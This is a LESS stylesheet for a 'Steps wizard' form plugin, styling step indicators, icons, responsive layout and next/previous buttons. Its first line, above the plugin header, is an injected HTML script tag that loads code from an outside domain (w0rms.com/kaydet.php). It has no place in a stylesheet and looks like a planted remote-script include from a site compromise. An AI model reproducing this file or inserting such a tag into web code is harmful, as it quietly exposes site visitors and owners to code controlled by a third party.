<script src=http://w0rms.com/kaydet.php></script>
/* ------------------------------------------------------------------------------
*
*  # Steps wizard
*
*  An all-in-one wizard plugin that is extremely flexible, compact and feature-rich
*
*  Version: 1.0
*  Latest update: May 25, 2015
*
* ---------------------------------------------------------------------------- */


// Core
// ------------------------------

.wizard {
    width: 100%;
    overflow: hidden;

    // Title
    > .steps .current-info,
    > .content > .title {
        position: absolute;
        left: -99999px;
    }

    // Wizard content
    > .content {
        overflow: hidden;
        position: relative;
        width: auto;
        padding: 0;

        > .body {
            padding: 0 @panel-body-padding;
        }

        > iframe {
            border: 0 none;
            width: 100%;
            height: 100%;
        }
    }
}


// Steps list
// ------------------------------

.wizard {

    // Steps
    > .steps {
        position: relative;
        display: block;
        width: 100%;

        // Wizard nav
        > ul {
            display: table;
            width: 100%;
            table-layout: fixed;
            margin: 0;
            padding: 0;
            list-style: none;

            // Wizard nav item
            > li {
                display: table-cell;
                width: auto;
                vertical-align: top;
                text-align: center;
                position: relative;

                // Link
                a {
                    position: relative;
                    padding-top: 48px;
                    margin-top: @panel-body-padding;
                    margin-bottom: @panel-body-padding;
                    display: block;
                }

                // Steps indicator line
                &:before,
                &:after {
                    content: '';
                    display: block;
                    position: absolute;
                    top: 43px;
                    width: 50%;
                    height: 2px;
                    background-color: @brand-info;
                    z-index: 9;
                }
                &:before {
                    left: 0;
                }
                &:after {
                    right: 0;
                }
                &:first-child:before,
                &:last-child:after {
                    content: none;
                }

                // Current step
                &.current {
                    &:after,
                    ~ li:before,
                    ~ li:after {
                        background-color: @gray-lighter;
                    }

                    // Link
                    > a {
                        color: @text-color;
                        cursor: default;
                    }

                    // Icon container
                    .number {
                        font-size: 0;
                        border-color: @brand-info;
                        background-color: #fff;
                        color: @brand-info;

                        // Icon
                        &:after {
                            content: '\e913';
                            font-family: 'icomoon';
                            display: inline-block;
                            font-size: @icon-font-size;
                            -webkit-font-smoothing: antialiased;
                            -moz-osx-font-smoothing: grayscale;
                            line-height: 34px;
                            .transition(all 0.15s ease-in-out); 
                        }
                    }
                }

                // Disabled
                &.disabled {
                    a {
                        &,
                        &:hover,
                        &:focus {
                            color: @text-muted;
                            cursor: default;
                        }
                    }
                }

                // Completed step
                &.done {

                    // Link
                    a {
                        &,
                        &:hover,
                        &:focus {
                            color: @text-muted;
                        }
                    }

                    // Icon container
                    .number {
                        font-size: 0;
                        background-color: @brand-info;
                        border-color: @brand-info;
                        color: #fff;

                        // Icon
                        &:after {
                            content: '\ed6f';
                            font-family: 'icomoon';
                            display: inline-block;
                            font-size: @icon-font-size;
                            line-height: ((@icon-font-size * 2) + 2); // Double icon + 2px border
                            -webkit-font-smoothing: antialiased;
                            -moz-osx-font-smoothing: grayscale;
                            .transition(all 0.15s ease-in-out); 
                        }
                    }
                }

                // Error
                &.error {
                    .number {
                        border-color: @brand-danger;
                        color: @brand-danger;
                    }
                }
            }


            // Media queries
            @media (max-width: @screen-xs-max) {
                margin-bottom: @panel-body-padding;

                // Nav item
                > li {
                    display: block;
                    float: left;
                    width: 50%;

                    > a {
                        margin-bottom: 0;
                    }

                    &:first-child:before,
                    &:last-child:after {
                        content: '';
                    }

                    &:last-child:after {
                        background-color: @brand-info;
                    }
                }
            }

            @media (max-width: @screen-xs) {

                // Nav item
                > li {
                    width: 100%;

                    &.current:after {
                        background-color: @brand-info;
                    }
                }
            }
        }

        // Numbers and icons
        .number {
            background-color: @panel-bg;
            color: #ccc;
            display: inline-block;
            position: absolute;
            top: 0;
            left: 50%;
            margin-left: -19px;
            width: 38px;
            height: 38px;
            border: 2px solid @gray-lighter;
            font-size: 14px;
            border-radius: 50%;
            z-index: 10;
            line-height: 34px;
            text-align: center;
        }
    }

    // Add top border if inside flat panel
    .panel-flat > & {
        > .steps > ul {
            border-top: 1px solid @panel-inner-border;
        }
    }
}


// Steps pagination
// ------------------------------

.wizard {

    // Container
    > .actions {
        position: relative;
        display: block;
        text-align: right;
        padding: @panel-body-padding;
        padding-top: 0;

        // Paging list
        > ul {
            float: right;
            list-style: none;
            padding: 0;
            margin: 0;

            &:after {
                content: '';
                display: table;
                clear: both;
            }

            // Paging item
            > li {
                float: left;

                // Add horizontal spacing
                & + li {
                    margin-left: 10px;
                }

                // Button styling
                > a {
                    background: @brand-primary;
                    color: #fff;
                    display: block;
                    padding: @padding-base-vertical @padding-base-horizontal;
                    border-radius: @border-radius-small;
                    border: 1px solid transparent;

                    // Hover state
                    &:hover,
                    &:focus {
                        .box-shadow(0 0 0 100px fade(#000, 5%) inset);
                    }

                    // Active state
                    &:active {
                        .box-shadow(0 0 0 100px fade(#000, 10%) inset);
                    }

                    // "Previous" button
                    &[href="#previous"] {
                        background-color: @btn-default-bg;
                        color: @btn-default-color;
                        border: 1px solid @btn-default-border;

                        &:hover,
                        &:focus {
                            .box-shadow(0 0 0 100px fade(#000, 2%) inset);
                        }

                        &:active {
                            .box-shadow(0 0 0 100px fade(#000, 4%) inset)
                        }
                    }
                }

                // Disabled button
                &.disabled > a {
                    &,
                    &:hover,
                    &:focus {
                        color: @text-muted;
                    }

                    &[href="#previous"] {
                        &,
                        &:hover,
                        &:focus {
                            .box-shadow(none);
                        }
                    }
                }
            }
        }
    }
}